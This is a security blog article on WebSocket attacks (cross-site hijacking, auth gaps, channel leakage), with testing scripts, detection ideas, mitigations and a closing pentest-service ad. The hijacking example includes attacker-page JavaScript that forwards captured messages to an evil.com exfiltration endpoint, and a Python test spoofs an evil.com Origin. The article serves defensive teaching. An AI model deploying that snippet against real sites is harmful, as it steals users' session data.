WebSocket Security: Cross-Site Hijacking, Auth Gaps, Channel Leakage

Manish Garg
Manish Garg Associate of (ISC)² · RingSafe
Apr 25, 2026
2 min read

Last updated: April 26, 2026

WebSocket APIs power real-time features — chat, trading, collaborative editing, live dashboards. WebSocket security is consistently weaker than REST API security because the protocol is younger and tooling is sparser. This article covers WebSocket attack patterns, detection, and the safe defaults.

The WebSocket model

WebSocket starts with HTTP/HTTPS handshake (Upgrade), then bi-directional persistent TCP/TLS connection. Messages flow in either direction without per-request HTTP overhead.

Attack patterns

1. Cross-Site WebSocket Hijacking (CSWSH)

If WebSocket handshake doesn’t validate Origin and authenticates via cookies:

// Attacker page (evil.com):
const ws = new WebSocket('wss://target.com/ws');
ws.onmessage = e => fetch('https://evil.com/exfil', {method:'POST', body: e.data});

// Browser sends victim's cookies during handshake
// target.com accepts the connection (no Origin check)
// Attacker reads everything the WebSocket sends

Mitigation: validate Origin header server-side during handshake; reject unexpected origins.

2. WebSocket auth gap

HTTP request to /api/data requires auth. WebSocket message to {action: "fetchData"} on /ws often doesn’t, because developer-perceived “we authenticated at handshake” — but the handshake auth might be cookies, and after handshake every message is trusted.

Mitigation: per-message authorisation, especially for sensitive actions.

3. Input validation gaps

WebSocket messages often carry JSON without input validation. SQL injection, XSS-via-stored, command injection all apply via WebSocket messages.

4. Rate limiting absent

HTTP requests pass through API gateway with rate limiting. WebSocket messages bypass — once connected, message volume is unbounded. DoS, brute-force authentication, vote manipulation via WebSocket-based games / polls.

5. Broadcast channel leakage

WebSocket-based pub/sub (Socket.io, Pusher, etc.) sometimes lets clients subscribe to channels they shouldn’t. Subscribing to tenant_42 when authenticated as tenant_1 = cross-tenant data leak.

Testing WebSocket APIs

# Burp Pro intercepts WebSocket
# Right-click connection → Open in WebSocket history
# Modify and replay messages

# Manual with wscat:
wscat -c wss://target.com/ws \
  -H "Cookie: session=valid_cookie"

# Programmatic with Python:
import websockets, asyncio
async def test():
    async with websockets.connect('wss://target/ws',
                                   extra_headers={'Origin':'https://evil.com'}) as ws:
        await ws.send('{"action":"admin_action"}')
        print(await ws.recv())
asyncio.run(test())

Detection

  • Server-side log of every WebSocket message — not just connections
  • Anomaly detection — message rate per connection, message size, action types
  • WAF for WebSocket — modern WAFs (Cloudflare, AWS WAF) inspect WS traffic
  • Connection-lifetime monitoring — long-lived connections are normal but volume per IP per day is bounded

The safe pattern

  • Validate Origin header at handshake; reject unknown origins
  • Authenticate every message — JWT or session-bound check per message
  • Authorise per action — same authorisation logic as REST endpoints
  • Validate input — same schema validation as JSON APIs
  • Per-connection rate limiting
  • Subscription authorisation — verify user can join requested channels
  • Log everything for forensic / monitoring

The takeaway

WebSocket security is REST security applied per-message. Test WebSocket APIs with the same rigour as REST. The Origin validation, per-message auth, and channel authorisation are the controls most often missed. Burp Pro + wscat + targeted Python scripts cover testing. Mature SIEM rules treat WebSocket message logs as first-class telemetry.

Need a real pentest?

Get a VAPT scoping call

Senior practitioner-led VAPT — not a checklist run by juniors. CVSS-scored findings, free retest, attestation letter. India's SMBs and SaaS teams.

Book VAPT scoping call Replies in 4 working hrs · India-only · Senior consultants